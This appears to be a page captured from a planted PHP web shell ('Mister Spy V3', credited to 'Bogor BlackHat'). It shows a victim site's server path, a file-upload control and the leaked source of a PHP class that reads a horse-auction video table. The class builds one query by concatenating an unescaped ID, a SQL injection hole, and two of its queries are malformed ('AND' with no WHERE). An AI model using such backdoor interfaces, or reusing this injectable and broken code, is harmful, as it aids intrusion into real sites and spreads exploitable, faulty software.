Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.lotevideos.php

<?php 

require_once('class.dbaccess.php');
require_once('class.lotevideo.php');

class LoteVideos extends DBAccess
{
	public function GetPagesCount(Page $oPage, $IdLote)
	{	
		$sql = "SELECT (COUNT(1) / " . DB::Number($oPage->Size) . ") AS Count";
		$sql.= " FROM tblLoteVideos";
		$sql.= " WHERE IdLote = " . DB::Number($IdLote);
		$sql.= " AND Estado = '1'";

		if (!($oRes = $this->GetQuery($sql)))		
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$Count = $oRow['Count'];
		
		return ceil($Count);
	}


	public function GetAll(Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblLoteVideos ";
		$sql.= " AND Estado = '1'";

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteVideo = new LoteVideo();
			$oLoteVideo->ParseFromArray($oRow);
			
			array_push($arr, $oLoteVideo);
			
			$oRes->MoveNext();
		}	
		
		return $arr;
	}
	
	public function GetLastId()
	{
		$sql = "SELECT *";
		$sql.= " FROM tblLoteVideos";
		$sql.= " ORDER BY IdLoteVideo DESC";
		
		if (!($oRes = $this->GetQuery($sql)))		
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oLoteVideo = new LoteVideo();
		$oLoteVideo->ParseFromArray($oRow);
		
		return $oLoteVideo;		
	}
	
	
	public function GetById($IdLoteVideo)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblLoteVideos ";
		$sql.= " WHERE IdLoteVideo = " . DB::Number($IdLoteVideo);	
		$sql.= " AND Estado = '1'";
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oLoteVideo = new LoteVideo();
		$oLoteVideo->ParseFromArray($oRow);
		
		return $oLoteVideo;		
	}
	
	
	public function GetAllByLote(Lote $oLote, Page $oPage = NULL)
	{
		$arr = array();
	
		$sql = "SELECT *";
		$sql.= " FROM tblLoteVideos ";
		$sql.= " WHERE IdLote = " . DB::Number($oLote->IdLote);
		$sql.= " AND Estado = '1'";

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
					
		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteVideo = new LoteVideo();
			$oLoteVideo->ParseFromArray($oRow);
			
			array_push($arr, $oLoteVideo);
			
			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetAllByIdLote($IdLote)
	{
		$arr = array();

		$sql = "SELECT *";
		$sql.= " FROM tblLoteVideos I ";
		$sql.= " INNER JOIN tblLotes N ON N.IdLote = I.IdLote";
		$sql.= " WHERE N.IdLote = " . $IdLote;
		$sql.= " AND Estado = '1'";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
					
		while ($oRow = $oRes->GetRow())	
		{	
			$oLoteVideo = new LoteVideo();
			$oLoteVideo->ParseFromArray($oRow);

			array_push($arr, $oLoteVideo);
			
			$oRes->MoveNext();
		}	

		return $arr;
	}
	
	
	public function GetCountRows()
	{
		$sql = "SELECT *";
		$sql.= " FROM tblLoteVideos ";
		$sql.= " AND Estado = '1'";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(LoteVideo $oLoteVideo)
	{
		$arr = array
		(
			'IdLote' 	=> DB::Number($oLoteVideo->IdLote),
			'Video' 	=> DB::String($oLoteVideo->Video),
			'Epigrafe' 	=> DB::String($oLoteVideo->Epigrafe),
			'Estado'	=> DB::Number(1)
		);
		
		if (!$this->Insert('tblLoteVideos', $arr))
			return false;
			
		return $oLoteVideo;
	}
	
	
	public function Update(LoteVideo $oLoteVideo)
	{
		$where = " IdLoteVideo = " . DB::Number($oLoteVideo->IdLoteVideo);
		
		$arr = array
		(
			'IdLote' 	=> DB::Number($oLoteVideo->IdLote),
			'Video' 	=> DB::String($oLoteVideo->Video),
			'Epigrafe' 	=> htmlentities(DB::String($oLoteVideo->Epigrafe)) //FIXME:: LLEVA htmlentities para que guarde bien desde AJAX
		);
		
		if (!DBAccess::Update('tblLoteVideos', $arr, $where))
			return false;
		
		return $oLoteVideo;
	}
	

	public function Delete($IdLoteVideo)
	{
		if (!DBAccess::$db->Begin())
			return false;

		/* obtiene los datos de la Video */
		$oLoteVideo = $this->GetById($IdLoteVideo);
		if (!$oLoteVideo)
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		/* elimina la Video de la tabla */	
		$where = " IdLoteVideo = " . DB::Number($IdLoteVideo);
		if (!DBAccess::Delete('tblLoteVideos', $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;	
	}		
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat